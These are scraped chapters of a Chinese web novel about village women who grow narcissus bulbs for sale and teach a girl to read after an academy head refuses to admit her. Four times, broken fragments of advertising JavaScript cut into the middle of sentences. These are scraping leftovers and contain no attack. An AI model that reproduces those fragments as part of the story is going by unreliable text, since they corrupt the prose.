姜佑安哈哈一笑,“没事,随便碰,这东西没那么脆弱,赶明儿种的时候,咱们还得一个个给剥皮呢。” 阮荷更吃惊了,“剥皮?不会给弄死吗?” “花行老板就是这么教的。”袁竹说道。 听了袁竹的话,阮荷才觉得放心了,“那就好,袁姐姐和佑安姐姐这么厉害,肯定能把水仙花种出来。” “但愿吧,时候不早了,该做午饭了。”袁竹说道。 “嗯。”阮荷欢快地应了一声,跟着袁竹一起去了菜园。 秋风萧瑟,近处的麦田出了苗,还是绿茵茵的一片,田埂上的野草却已枯黄,远处山上树,红的红,黄的黄,橘的橘,把整座山装点得五彩斑斓。 天气越来越冷,大风一刮,树叶簌簌飞落,行走其间,让人倍感萧条。 山上的树叶越来越少,但上山砍柴的村民却越来越多,大家都在储备过冬的柴火,山上踩踏出来的路也多了,姜佑安和李长风上山时,觉得好走了许多。 山里热闹起来,野物惧怕人,都往深山去了,这让姜佑安的狩猎活动变得更加艰难,她也只好多砍些柴回去,这样就算冬天吃不到肉,也能过得暖和一些。 转眼到了十月中旬,柴火棚里堆满了木柴,南瓜干和南瓜子都已晒好,收了起来。 菜园里的菜逐渐茁壮,袁竹挑着担子进城卖菜,菜价便宜,卖了几天,只得了二百文钱,剩下的菜还要留着过冬,袁竹便收起担子,不再进城,专心种花。 姜佑安算着日子,也到了该种水仙花的时候了,吃过了午饭,她把一筐水仙花球茎拎到院子里,和阮荷、李长风一起,把球茎的外皮剥去。 袁竹把大木盆刷了,把之前捡的石头放进去,添了些水,然后把剥好皮的球茎一个个摆放进木盆里。 “冬天天冷了,不用卖花,也不用卖菜,你都在家做什么?”姜佑安手上剥着球茎,漫不经心地问道。 “不做什么,就在家待着。”袁竹说道。 “小阮呢?”姜佑安问道。 “做饭、刷碗、洗衣、喂鸡,我一年到头都是这些活,冬天闲一些,不用去地里干活,就围在火盆边,缝补衣裳、纳鞋底、做鞋面这些。”阮荷说道。 “除此之外,就没有别的了?”姜佑安问道。 袁竹停了手,抬头看向姜佑安,“你想问什么?” “姜姐姐是觉得无聊吗?”李长风问道。 “是啊,很无聊,太无聊了!一天一天的,也打不到猎物,天天就是砍柴,练箭,干活,就没有别的事可干吗?”姜佑安抱怨道。 “有饭吃,有衣裳穿,还能烤烤火,就够过冬了,你还想干什么?”袁竹说道。 “我爹冬天的时候会出去跟人打牌,我娘有时候也会去别人家串门,说说话什么的。”阮荷说道。 “打牌?我没打过,串门,能去的也就是陈爷爷家,冬天时间那么长,就不能看个戏,听个书什么的吗?”姜佑安说道。 “看戏啊,快过年的时候可能会有。”袁竹说道。 “真的?”姜佑安的眼睛瞬间一亮,“在哪里演出?” “就在村里,剧团过来,会先去见村长,然后每家每户收粮食,收够了粮食,就搭台子开演。”袁竹说道。 “收多少粮食?咱们家粮食够不够?”姜佑安问道。 “那肯定不够,家里的粮食马上就要没了,我正打算去村里买点儿,不过,我没有交过粮食,也没有去看过戏,不知道今年需要交多少。”袁竹说道。 “难得村里有个热闹事,你怎么都不去凑凑热闹?”姜佑安问道。 “人多,乱哄哄的,我不喜欢去。”袁竹说道。 姜佑安看向阮荷,“你们村有唱过戏吗?” “没有,不过,快过年的时候,会有人玩旱船、耍猴的还有舞龙的,挨家挨户给表演,也是要给粮食的。”阮荷说道。 “那也行啊,也能热闹热闹。”姜佑安说道。 袁竹笑了笑,“你这么爱热闹,真该住进城里去。” “城里有什么热闹吗?”姜佑安问道。 “有庙会、集市什么的,快过年的时候,不管有钱没钱,不管男女老少,都会去逛逛,人可多了。”袁竹说道。 “快过年的时候,庙会和集市,哎?到时候咱们也去吧,就在那里买水仙花。”姜佑安兴奋地 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 说道。 “好啊,我也去。”李长风说道。 阮荷看了一眼袁竹,“我也想去。” “行啊,要卖花,去那里确实不错,等会你剥完皮,再把你写的那个单子给我读一读,我确认一下,别有记错的地方,”袁竹说道。 “什么单子?”阮荷问道。 “就是去定州城的那天,车夫不是去看亲戚去了嘛,我们就去找花行老板问水仙花怎么养,还找老板借了笔墨,把他说的都一条一条记下来了。”姜佑安说道。 “佑安姐姐识字,还会写字,真厉害。”阮荷一脸羡慕地说道。 “小阮也想学识字吗?”姜佑安问道。 阮荷害羞地笑了笑,“想,我小时候,我爹常说等我弟长大了,就把我弟送去书院读书,后来他就不怎么提了,我想,识字肯定要很多钱吧。” “你想学,我可以教你啊。”姜佑安微笑着说道。 “真的可以吗?”阮荷有些不敢置信。 “可以啊,我学问不多,教几个字还是教得了的,等明天,咱们就去买笔墨纸砚,反正冬天闲着无事,我一个字一个字地教你。”姜佑安说道。 “好。”阮荷笑得很开心。 “笔墨纸砚也不便宜吧,你还有钱?”袁竹问道。 “有啊,买不了贵的,便宜的也行。”姜佑安说道。 “行,你们自己看着办吧。”袁竹说道。 把买的四十多个球剥好放进木盆里,姜佑安又把程祥给的一堆小球沿着盆边放了一圈,这些球是小了点儿,如果今年开不了花,养得大些,说不定明年就能开了。 姜佑安洗了手,去屋里把她写的单子拿出来,读给袁竹听,阮荷和李长风也都听得很认真。 等太阳下了山,大家就把木盆抬进了屋里,第二天一早,还没吃早饭,姜佑安和袁竹又把木盆抬进院子里,给水仙花换水。 木盆比较深,里面水浅,但花球和石头很多,换水非常不方便,姜佑安想起以前养水仙花用的器具都是浅口的,这样的木盆用着实在不合适。 姜佑安和袁竹把花球一个个捡出来,换了水,又一个个放回去,然后抬到院子当中晒太阳。 思索了一阵,姜佑安决定去买一些浅口的花盆回来,把花球分开,这样不仅换水会方便些,日后开花的时候,也能直接卖。 吃过了早饭,袁竹带着李长风上山砍柴,姜佑安带着阮荷去了县里。 姜佑安先是打听着去了卖瓷器的店铺,来来回回对比着店里各式花盆,最终选定了一大一小两种浅口的黑色瓷盘,问了一下价格,大的三十文,小的十五文。 姜佑安算了算球茎的数量,又算了算自己手上的钱,跟伙计要了八个大盘子,六个小盘子,要付钱时才想起来,还要给阮荷买笔墨纸砚。 看着阮荷期待的目光,姜佑安掏钱的手停了下来,自己只有三百多文钱,花盆是肯定要买的,没有好看的容器,水仙花就卖不上价钱,但是她已经答应了要给阮荷买文房四宝,要如何跟她交代? 其实,只要跟阮荷说钱都用来买花盆了,她就不会有任何怨言,但这也是让姜佑安最难受的地方,她满心期待地跟着自己出门了,自己怎么好意思让她失望? 41. 书院 姜佑安犹豫不定,跟伙计说先把东西包起来,一会儿回来取的时候再付钱,之后就带着阮荷除了瓷器铺。 “佑安姐姐,咱们去哪儿?”阮荷问道。 “去趟书院吧,难得来一趟,咱们去见见你表哥。”姜佑安说道。 “你想跟戴公子消除误会是吗?我去帮你讲。”阮荷高兴地说道。 “行啊,待会儿你就帮我说说好话。”姜佑安说道。 姜佑安带着阮荷来到书院门口,找人进去通传,说要找戴庭芳的小厮程祥。 戴庭芳正在书房里看书,有人来找程祥,说书院门口有人找他,程祥跟戴庭芳说了一声,便出去了。 戴庭芳看着书桌上通红的柿子,放下书,悄悄跟了出去。 到了书院正门,戴庭芳看见程祥果然是去见姜佑安的,旁边阮荷也在,三个人正热络地说着话。 姜佑安把程祥拉到一边,小声说道:“你有没有钱?借我点儿,我有急用。” “借多少?”程祥问道。 “我想给小阮买一套文房四宝,你看得多少钱?” “普通的,应该在一两银子之内,不过我身上没带钱,等我回去给你取,你去那边墙角躲着点儿,别被我家公子看见了。”程祥说道。 “程祥?你在这里做什么?”一个浑厚的男声从两人背后传来。 程祥回头看去,有一瞬间的慌乱,随即低下头,“老爷,我朋友有事找我,我马上就回去。” “朋友?”戴克政狐疑地打量着姜佑安,看打扮就是个普通村妇。 “老爷?你就是戴家老爷?是这书院的院长?”姜佑安有些惊喜地问道。 “是啊,怎么了?”看程祥平时表现得老实稳重,怎么会有这样的朋友?戴克政心中隐隐有些不满。 “到你这里读书,收费几何?”姜佑安问道。 “我们这是和官府合办的书院,只要通过入学考试,读书不收费。”戴克政说道。 “真的?那太好了!”姜佑安把阮荷拉过来,“我家妹妹想要读书识字,你们入学考试考什么?” 见戴克政神情严肃,阮荷低着头,不敢说话。 戴克政皱起了眉头,看向程祥,“你的这位朋友是哪里来的?竟开口说这种胡话!” “老爷息怒,姜姑娘平时住在村里,并不清楚书院的事,她只是想让妹妹读书识字,还请老爷不要动怒。”程祥微微弯着腰,谦卑地说道。 “我不知道,所以问问,有什么可生气的?难道因为您是书院院长,就可以随意发脾气?”姜佑安看不惯戴克政这样趾高气昂,她毫不客气地说道。 “姜姑娘,你别说了,书院都是只招收男人,不收女人的。”程祥说道。 “不收女人?凭什么不收女人?那女人想读书怎么办?”姜佑安大声说道。 “荒唐!我这书院学的是官学,以后都是要去参加科考的,女人学这些做什么?想读书识字,自己请个私塾老师不就行了?”戴克政生气地说道。 “我哪有钱请老师?你这里读书不收费,我为什么还要花钱请老师?”姜佑安说道。 戴克政的脸色越来越黑,“你当这里是什么地方,能容你一个泼妇在这里撒野?你身为女人,不但在大街上抛头露面,还想让妹妹跟男人一起读书,真是不守妇道、不知廉耻!” 姜佑安冷笑一声,“我以为书院是读书学习的地方,没想到,只是来问问怎么才能进书院读书,竟会被院长辱骂一通,院长当真好修养!好品性!” 眼见两人火气越来越旺,在门内偷窥的戴庭芳实在看不下去了,赶紧冲了出去,向姜佑安劝慰道:“姜姑娘,你就少说两句吧,书院确实不收女人,不光本地书院是这样,就是京城也是如此。” “京城里我还能不知道?我就是和男孩子一起读书的。”姜佑安反驳道。 “姜姑娘家想必不是小门小户,读书的地方,定是家族里的私塾,所以可以和兄弟一起读书,普天下的书院都是只收男人的。”戴庭芳说道。 “真的?”姜佑安有些怀疑,但也不能确定,“小阮来你这里读书,也不行?” “不行,不过,她要是想读书识字,我可以帮她想办法。”戴庭芳说道。 见到儿子跟女人说话,戴克政内心吃惊,表面不动声色,“庭芳,你认识她们?” 戴庭芳转过身来,面对戴克政说道:“认识,这位是姜佑安姜姑娘,她身后的女孩子正是阮表妹,我也是去找表妹的时候,才结识了姜姑娘。” “原来如此。”戴克政点了点头,向姜佑安身后看去,“小阮,你还记得我吗?” 阮荷从姜佑安身后走了出来,戴庭芳忙转过身回避。 阮荷抬头看了看戴克政,对这张脸完全没有印象,她有些尴尬地说道:“我不记得了。” “我是你表叔,庭芳是你表哥,你要是想读书,就住到我家来吧,我给你请老师。”戴克政微笑着对阮荷轻声说道。 “谢谢表叔。”见戴克政态度亲切,阮荷笑了笑,“姜姐姐识字,有她教我就可以了。” 戴克政对这个乖巧的孩子十分喜欢,“你姜姐姐虽然识字,却不知礼,你还是来我家吧,我找人好好教导你。” 姜佑安听了,十分生气,“戴院长还说我不知礼?明明是您无礼在先的。” 戴庭芳微微侧头,向姜佑安使眼色,示意她别再说了。 姜佑安不以为意,“听闻戴院长家家规森严,戴公子因为惧怕您,到现在都不敢接触女人,您这样管着儿子,恐怕会得不偿失吧。” “我家的家事,哪里能轮到你一个外人插嘴!”戴克政冷着脸说道。 “行,我不说就是了,我本来也不是来找你的。”姜佑安看向程祥,“我要给小阮买文房四宝,你先借我一两银子,日后我一定还你。” “好,我这就去取。”程祥说着就要往大门里走。 戴庭芳从怀里掏出钱袋,“姜姑娘,用我的吧,我这里有。” 戴克政摁住了他的胳膊,冷漠地看着姜佑安,“不许借!小阮若是想读书,来我家就是,跟着你,怕是只会教坏了她。” “我还觉得在你这里会把她教坏呢。”姜佑安说道。 阮荷向前一步,犹豫着开了口,“表叔,谢谢您,我觉得佑安姐姐挺好的,她可以教我的。” “孩子,你还小,判断不了别人品行的好坏,我是你的表叔,不会害你的,你家的事我都知道了,你不想回家,我也不会逼你,你还是留在我家吧。”戴克政说道。 阮荷低下头,“我是有很多东西都 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 不懂,但我知道,佑安姐姐对我很好,我不想离开她。” “算了,别跟他们废话,书院不肯收,我就自己教,不愿意借我钱,我就自己赚,用不着求他,小阮,我们走。”姜佑安向程祥点了点头,牵着阮荷走了。 阮荷跟着姜佑安向前走去,“姐姐,你的钱是不够了吗?我不着急的,等有钱了再买纸笔吧。” 姜佑安停下了脚步,握住阮荷的手,跟她保证,“现在钱确实是不够,不过,等我们卖了水仙花,我就给你买纸笔,到时候我一定好好教你。” “嗯。”阮荷点点头,开心地笑了。 姜佑安突然想起买水仙球茎回来的那天夜里,袁竹在黑暗中的感叹,这孩子确实过于乖巧懂事,以至于让人感到心疼。 姜佑安摸了摸阮荷的头发,“小阮今天表现得真好,没有害怕,也没有哭,还在你表叔面前维护我,谢谢你了。” “佑安姐姐是为了我才去的,有姐姐在,我什么都不怕。”阮荷笑着说道。 姜佑安欣慰地笑了,“小阮长大了,变得勇敢了,以后就算姐姐不在,你也不会怕了。” “姐姐怎么会不在?你会嫁人吗?”阮荷问道。 姜佑安哈哈一笑,牵着阮荷向瓷器店走去,“我还没想过,若是有美男愿意娶我,我可以考虑考虑。” 中午,姜佑安捧着瓷盘,阮荷拿着一卷纸,回到了袁家。 李长风迎出来,把瓷盘接过去,轻轻放在地上。 袁竹从厨房里走了出来,“买这么多盘子干什么?” “放水仙的,在这里面养,方便换水,到时候开花了,就直接连盘子一起卖。”姜佑安一边揉着酸疼的胳膊,一边说道。 “这里面?盘子还能养花?”袁竹问道。 “能啊,养水仙的水不能多,用这种浅盘子正合适,里面放点石头,让球茎立起来就行了,以前我家也有几盆水仙就是放在这种浅花盆里养的。”姜佑安说道。 袁竹想了想,觉得用盘子养花,确实放在盆里方便一些,“你买盘子也行,怎么不挑好看点儿的,这种黑不溜秋的,多难看。”袁竹说道。 “你懂什么,黑盘子跟水仙才是绝配!”姜佑安说道。 “行,我不懂,反正是你要养水仙,你说了算,长风,把盘子收进屋里去,洗手吃饭吧。”袁竹说道。 “你做好饭了?”姜佑安一脸的不敢置信。 袁竹有些奇怪地看着姜佑安,“都什么时辰了,我不做饭,难道等小阮回来做?” 姜佑安垂头丧气地往堂屋走去,“真是失策,早知道买不了文房四宝,我就不带小阮去了。” “买不了文房四宝?为什么买不了?你不是说钱够用吗?”袁竹问道。 “怪我不知道价,本来就紧巴巴的,买了盘子就更不够了。”姜佑安说道。 阮荷扬了扬手里的纸,笑着说道:“佑安姐姐给我买了纸,等卖了水仙再买别的。” “行啊,识字也不急在这一时,小阮,你也去洗手吃饭吧。”袁竹说道。 阮荷应了一声,把纸放回了房间,洗过了手,和姜佑安一起去厨房帮忙盛饭,看着灶台,她突然想到了什么,“佑安姐姐,锅底灰可以用来写字吗?” “锅底灰是什么?”姜佑安问道。 42. 识字 “就是锅底上的一层灰,挺黑的。”阮荷说道。 “先吃饭吧,等吃完饭把锅揭起来,刮点儿下来试试,你这么说,她也不知道是什么。”袁竹说道。 阮荷笑了笑,“嗯,先吃饭。” 几人把饭菜端上桌,姜佑安嫌袁竹做的菜难吃,只吃了个半饱,就放下了筷子,讲起今天想去找程祥借点儿钱买纸笔,却被书院院长阻挠的事。 李长风听了很生气,觉得戴院长实在无礼。 袁竹听说戴院长想让阮荷住进他家里,还要给阮荷请老师,也只是低头吃饭,默默无语。 吃过了午饭,刷完碗,袁竹和阮荷把灶台最外面的一个大锅揭了起来,拿到了院子里,用一个破旧的丝瓜瓤把锅底灰都刮下来。 姜佑安伸出手指粘了一下锅底灰,食指和拇指一搓,浓郁的黑色附着在了指肚上,“倒是挺黑的,不过,毛笔是蘸墨水用的,这能做墨水吗?” 李长风去拿了个碗来,把锅底灰收集进去,又加了点水,搅和搅和,“姜姐姐,你看能行吗?” 姜佑安把右手食指伸进碗里蘸了蘸,抹在左手的掌心里,“有点淡,灰太松散,不过,就算它能用,我们也没有毛笔。” “用树枝不行吗?”阮荷问道。 “树枝不吸水啊,毛笔是要洗墨水的,用树枝,估计得写一笔,蘸一下。”姜佑安说道。 “我不怕麻烦,只要能写就行。”阮荷说道。 姜佑安不想继续打击她,点了点头,“那就试试吧。” 阮荷高兴地端着碗进了屋,去西屋里把纸拿出来,铺在桌子上,又出门去折树枝去了,李长风也跟着她一起出门了。 姜佑安去脸盆架边洗了手,坐在了桌边。 袁竹站在堂屋门边,看着大门外,轻声说道:“她这么想读书,直接留在戴家多好。” “她愿意回来,我总不能拦着她,说我们不要你了吧。”姜佑安说道。 “你好好跟她说,她会理解的。”袁竹说道。 姜佑安抬头看着袁竹的背影,“劝她干什么?你别看不起我,我读的书也不少,能教得了她。” “她留在戴家,说不定以后姓戴的能给她找一门好亲事。”袁竹说道。 “什么是好亲事?找个有钱人就是好亲事?我看未必,你自己都不愿意再找个男人,却要给她找个男人?”姜佑安说道 袁竹叹了口气,“现在还好,我担心她以后,要是跟我一样被人说闲话,她会不会后悔。” “后不后悔都是她自己的选择,不用你负责任,你被人说闲话,后悔了吗?”姜佑安说道。 “我当然不后悔,但是她还小。”袁竹说道。 “她还小,你就更不用操心了,等她长大了,说不定哪天她自己就跟你说想嫁人了呢?”姜佑安说道。 “她这么懂事,长大了嫁人,我也担心她被人欺负。”袁竹说道。 “这也担心,那也担心,你真是操不完的心,实在不行,你就把她留在身边,给她招个赘婿呗。”姜佑安说道。 袁竹回过头来,“赘婿?一般男人都不肯吧。” “那就找愿意的,我在京城的朋友就招了个赘婿,对方还比她身份高呢,只要男人愿意,你情我愿的事,别人还能说什么?”姜佑安无所谓地说道。 阮荷和李长风从院门外跑了进来,一人手上拿着一根柳枝,阮荷用走廊上的砍刀砍下一截,走进屋里递给姜佑安,“佑安姐姐,你看这个能用吗?” “我试试。”姜佑安接了过来,放到碗里蘸一蘸,在纸上写了一笔,墨迹果然深浅不匀,写第二笔时已经不显色了,她蘸一下,写一笔,写了两个字之后停了手。 李长风指着第二个字说道:“这个字我认识,是荷花的荷。” 姜佑安笑了笑,“说得对,这就是荷花的荷。” “佑安姐姐,你写的是我的名字吗?”阮荷高兴地问道。 “猜得不错,这左边的是阮字,右边的是荷字。”姜佑安说着,又蘸了蘸锅底灰水,在纸上一笔一划地写着,“这个笔不太好用,写出来不好看,不过,你先记住笔画顺序,知道是什么字形就行,等有了毛笔,我再好好教你怎么运笔。” “嗯。”阮荷听不太明白却还是应了一声,她目不转睛地盯着姜佑安手中的树枝,李长风饶有兴趣地围在一旁,袁竹站在门边看着他们。 姜佑安又写了一个阮字,然后把树枝递给了阮荷,“你来写写试试。” 阮荷接过了树枝,紧张不已,蘸了蘸锅底灰水,学着姜佑安的样子,比照着她写的阮字,在纸上划下去。 “对,阮字下笔就是这个顺序,写得不错。”看着阮荷写下的有些歪斜的字,姜佑安笑了笑,“写字就是要多练的,多写写就好了。” “嗯。”阮荷点了点头,脸上是掩不住的笑意。 学过了阮字,又学了荷字,阮荷高兴地在纸上写了一遍又一遍,直到碗里的水用尽。 阮荷把写满字的纸拿给袁竹看,“姐姐你看,我会写自己的名字了。” 袁竹接过来,看着上面深深浅浅的墨痕,笑着说道:“真好,以后小阮也是读书人了。” 阮荷笑了笑,和李长风一起把厨房里另外两个锅都给揭了,把锅底灰都收集了起来,却又不舍得用,只在写过字的纸上不停地用手指描画着。 袁竹把在缸里存放的柿子拿出来,给大家分了吃,阮荷洗了手,拿着柿子,眼睛依旧盯着那张纸。 自此以后,姜佑安每天下午都会教阮荷两个字,阮荷跟着在纸上写写,后来怕纸用得太快,她就拿着一个削尖的木棍在院子里的地上划拉,姜佑安觉得在地上写也挺方便,就在地上写着教她,李长风也跟着在一旁学习。 一有空,阮荷就会蹲在地上,把姜佑安教的字一个个写在地上,从数字“一二三”到十二时辰和“日月年”,她都写得很认真。 阮荷在一个字一个字地学习,水仙花在瓷盘里慢慢抽芽,天气也越来越冷了,山上的树叶逐渐落尽,只剩松柏还在顽强地抵御着寒风。 十一月初的一天,山上砍柴打核桃的村民渐少,姜佑安终于又打到了一只野鸡,她和李长风高兴地回了家,向袁竹和阮荷炫耀今天的打猎成果。 两人回来时,袁竹正在堂屋门口簸米,阮荷在院子里的地上写字,兔子跟在阮荷身后蹦蹦跳跳,姜佑安一阵风似的跑了进来,吓得兔子慌忙跑进了笼子里。 姜佑安高举着野鸡,扬声道:“看!这是什么?” 阮荷抬起头,惊喜地站起身迎上去,“是野鸡!佑安姐姐太 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 厉害了!咱们有肉吃了!” 袁竹放下了簸箕,走了过去,笑着说道:“我还以为咱们这个冬天,只能杀兔子吃肉了呢。” 姜佑安把野鸡递给袁竹,笑着对阮荷说道:“杀兔子?小阮能愿意?” 阮荷的笑变得有些不自然,声音也低了下去,“姐姐们要是想吃肉,杀了也行。” “那怎么行?阮姐姐会伤心的。”李长风说道。 袁竹腾出手来,轻轻敲了一下阮荷的脑门,“傻丫头,你也要有点脾气才是,我都说兔子留给你养着了,你应该说不许杀!你们大人不能说话不算话!” “对啊,小阮,你不用委屈自己,不高兴都直说。”姜佑安说道。 阮荷这才放心地笑了,“我想留着兔子。” “那就留着吧,我不会让你袁姐姐杀了它的。”姜佑安笑着说道。 袁竹笑了笑,“虽然我刚才是开玩笑的,不过,小阮,你该生气就要生气,尤其是对姜佑安,她再让你给她梳头,你就直接跟吵,说她都这么大岁数了,怎么这么笨!连头发都不会梳。” “哎?说着小阮的事,怎么又拐到我身上?你就是想骂我是不是?”姜佑安说道。 “对,我就是想骂你。”袁竹冲阮荷眨了眨眼睛,“你也来骂她两句。” “小阮才不会骂我,她愿意给我梳头,是跟我关系好,你让小阮给你梳头,小阮还不愿意呢。”姜佑安不满地说道。 袁竹拎着野鸡进了厨房,“我从小就会自己梳头,比不上被人伺候的大小姐,这么点小事还要别人帮忙。” 阮荷向姜佑安笑了笑,也跟着进了厨房。 姜佑安看向李长风,“长风,你看袁竹是不太过偏心了?每次都只夸小阮不夸我。” “姐姐,要不我给你梳头吧,虽然我只会梳男式的。”李长风认真地说道。 姜佑安叹了口气,“算了,让你给我梳头,袁竹又该为了你骂我了,我自己学就是了。” 阮荷从厨房里探头出来,笑着说道:“佑安姐姐,下午我教你梳头吧。” “好,看来你确实觉得我很麻烦,早跟我说不就行了。”姜佑安无奈地说道。 阮荷笑了笑,回了厨房。 处理好了野鸡,姜佑安带着一只鸡腿和一把尾羽去了陈大用家,说晚上炖鸡,叫杨恩去家里吃晚饭。 下午,杨恩忙完了手上的木工活,就去了袁家,惊讶地发现了院子里摆的水仙花还有在地上写字的阮荷。 姜佑安跟他说了这些日子买水仙花球茎和种水仙的事,杨恩这才发觉,最近忙着干活,都不知道袁家发生了什么事。 姜佑安看他气色不错,调侃说陈爷爷家的伙食肯定很好,杨恩的身子看起来都健康了不少,杨恩说最近做的椅子陈爷爷很满意,他也觉得高兴。 看杨恩适应了现在的生活,姜佑安和袁竹也觉得放心了,杨恩问起阮荷写字的事,姜佑安和袁竹也一一跟他说了,看着阮荷写字时认真的神情,他暗暗决定要攒钱买一套文房四宝给阮荷。 五天后,杨恩和陈大用做完了一套家具,他请了半天假,一大早就拿着工钱出了门,去县里给阮荷买纸笔,回到袁家时,他看到戴庭芳和程祥站在大门外。 “戴公子?你们怎么在这里?”杨恩问道。 43. 老师 戴庭芳作揖行礼,“我是来找阮姑娘的。” “找阮姑娘做什么?”杨恩追问道。 “之前有些误会,我想跟她道个歉。”戴庭芳说道。 袁竹手上拿着一把菜,从菜园里走过来,“是小阮的表哥啊,你来找小阮。” 戴庭芳低头盯着地面,“正是,我有东西要给阮姑娘。” “都进来吧。”袁竹进了院子,冲屋里扬声说道:“小阮,你表哥来找你了。” 阮荷听了,忙放下笔,走了出来,“表哥,你找我?” 戴庭芳跟着杨恩进了院子,抬头看了一眼,又低下头,“姜姑娘不在吗?” “佑安姐姐上山打猎去了,你是来找她的。”阮荷说道。 戴庭芳低着头,发现满地都是文字的痕迹,“不,我是来找你的,上次我爹那么对你,真是不好意思,我今天是代他来向你赔不是的。” “我知道表叔也是好心,我没有怪他。”阮荷说道。 程祥走过来,把身上背的包裹拿下来,递给阮荷,“阮姑娘,这一套文房四宝,是我家公子送给你的,还请姑娘笑纳。” 阮荷看了袁竹一眼,袁竹拿了板凳坐在厨房门口择菜,并不抬头看他们,阮荷知道,这是她自己的事,袁竹想让她自己处理。 “之前欠表哥的钱还没还上,我不能再收你的东西了。”阮荷说道。 “这是我家公子对表妹的照顾,阮姑娘不必多心。”程祥说道。 “我谢谢表哥,不过,真的不用了,袁姐姐已经给我买了笔墨纸砚了,这东西,你们还是拿回去吧。”阮荷说道。 “已经买了吗?”程祥回头看向戴庭芳,有了些许犹豫,“那,启蒙书也有了吗?” “什么是启蒙书?”阮荷问道。 姜佑安从大门外走进来,看见戴庭芳站在院子里,十分惊奇,“戴公子怎么在这里?” 戴庭芳向姜佑安行了一礼,“我是为我爹来赔礼道歉的。” “哦,他啊。”姜佑安把身上的木柴放到院子里的地方,“怎么赔礼道歉?你们要收小阮入学吗?” 李长风也把抱着的木柴扔在了地上,有些戒备地看着戴庭芳。 戴庭芳脸上带着些许愧疚,“学院不能收阮姑娘,但是我想,我可以教她。” “你?”姜佑安抬起胳膊擦着额头上的汗水,“去你家教?恐怕不太方便。” “让阮姑娘来回奔波确实不太方便,我可以过来,在这里教。”戴庭芳说道。 “你,来我家教?你爹也同意了?”姜佑安问道。 戴庭芳点了点头,“他同意了。” 姜佑安很怀疑这件事的真实性,“我可没钱给小阮请老师。” “不用钱,我本就是阮姑娘的表哥,教她识字,不用收取报酬。”戴庭芳说道。 姜佑安更加怀疑了,“不要钱,还得你来这里教小阮,你为什么要这么做?” “那日听了姜姑娘的话,我觉得你说得很有道理,男人可以在书院免费入学,女人却要自己掏钱请老师,这确实是很重的负担。”戴庭芳低头看了一眼地上写的字,“阮表妹是个好学之人,我愿意教她读书识字。” 袁竹择完了菜,站了起来,向着戴庭芳的背影说道:“小阮她表哥,我们家只有三个女人和一个男孩,你来这里教书,只怕会传出什么闲话来,还是让姜佑安接着教吧。” 姜佑安看了一眼袁竹,不置可否。 戴庭芳微微侧过头,看向地面,“我也确实有这个顾虑,阮表妹要是能随我去我家,当然是再好不过。” “我不去,我哪里也不去,有佑安姐姐教我就够了。”阮荷说道。 “姜姑娘连启蒙书都没有准备,想来她只是识字,并不知道如何教书育人,我是在书院长大的,如何教书,如何布置课业,我都很清楚,况且,姜姑娘还要上山打猎,我在家无事,还是由我来教比较合适。”戴庭芳说道。 “我同意。”姜佑安说道。 阮荷看向姜佑安,“我想让佑安姐姐教我。” 姜佑安走到了阮荷身边,“戴公子说得对,我只是会识字读书,并不会教书,他确实比我合适,他是你表哥,还不要钱,能好好地跟他学习,比我这个半吊子强。” “小阮只是想学识字而已,又不是要读书科考,为什么非得跟他学?”袁竹说道。 “小阮是不用科考,但书里的内容,不止科考这么简单,以我的水平,很难跟她讲明白,有人可以代替我讲,我觉得挺好的。”姜佑安说道。 “要聘请书院的老师,一年也得花费不少银子,戴公子愿意免费教,这可是个难得的机会,袁姑娘,你就让阮姑娘跟他学吧。”一直默默不语的杨恩也跟着附和道。 袁竹一时也拿不定主意了,她看着阮荷,“你觉得呢?” 阮荷也不知如何是好,她低下头,“我,我也不知道。” “那就让你表哥先教两天,倘若你觉得我教得比较好,就让你表哥回去,如果你觉得你表哥教得好,那就让他留下,至于什么流言蜚语,反正我是觉得无所谓,你能学到真学问才最重要。”姜佑安说道。 阮荷点了点头,“好,那就听姐姐的。” 姜佑安牵着阮荷的手往堂屋里走,又回头招呼戴庭芳,“戴公子,你也进屋来吧。” 戴庭芳低着头进了屋,程祥和杨恩也跟着走了进去。 堂屋里唯一的一张桌子上摆着笔墨纸砚,旁边放着一张写满字的纸,中间铺的一张纸正写到一半,一旁的条几上放着几张写过字的纸,正在晾干。 姜佑安让阮荷坐下,对戴庭芳说道:“你来教吧。” 程祥坐过去,把包袱放在桌上,打开包袱,从里面拿出一本书递给戴庭芳,“给,公子。” 戴庭芳低着头接过放在眼前的书,在另一边的条凳上坐了。 “你坐得那么远,怎么教书?”姜佑安问道。 戴庭芳低着头,翻开了书页,从包袱里取出纸和笔来,“我写的时候,表妹在一旁看着就是了,表妹若是不懂,我就多示范几遍。” 阮荷听了,便从另一边起身,站到了戴庭芳的身后,“没关系,表哥就这样讲吧,我能看得见。” 见两人可以正常沟通,姜佑安也就由他去了,“行,那你们在这里教书,我们就不打扰了。”说着,她把程祥和杨恩一并赶了出去。 到了院子里,姜佑安问杨恩,“你手上拿的是什么?” 杨恩看了看手上的包袱,“那日我听说阮姑娘想学识字,却没有笔墨,今日特意去买来想送给她的,看来是用不上了。” 姜佑安笑了笑,“袁竹看阮荷整日在地上写写画画,觉得不忍心,就去给她买了一套文房四宝,没想到今天又送来两套,看你们这样,袁竹估计肠子都悔青了。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “小阮是我袁家人,给她花钱,她高兴我也高兴,只是没想到让杨恩破费了,这些东西也不便宜,要不你就拿回县里退了吧。”袁竹对杨恩说道。 “不用了,这些就给阮姑娘留着吧,总有用得着的时候,还是让戴公子把他的那套拿回去吧。”杨恩说道。 程祥摆了摆手,“戴家是开书院的,最不缺的就是文房四宝,我家公子肯定不会往回拿,还是都给阮姑娘留着吧。” “她一个刚学识字的孩子,哪能用得了这么多东西,杨恩,你还是拿去退了吧。”袁竹说道。 “对了!陈爷爷家不也有个孩子吗?杨恩,你把你这套给他孙子吧。”姜佑安说道。 “木匠家也请不起老师,这东西给他,估计他也就是能用用墨。”袁竹说道。 “阮荷这么想识字,说不定陈爷爷的孙子也想学呢?杨恩,不如你回去问问。”姜佑安说道。 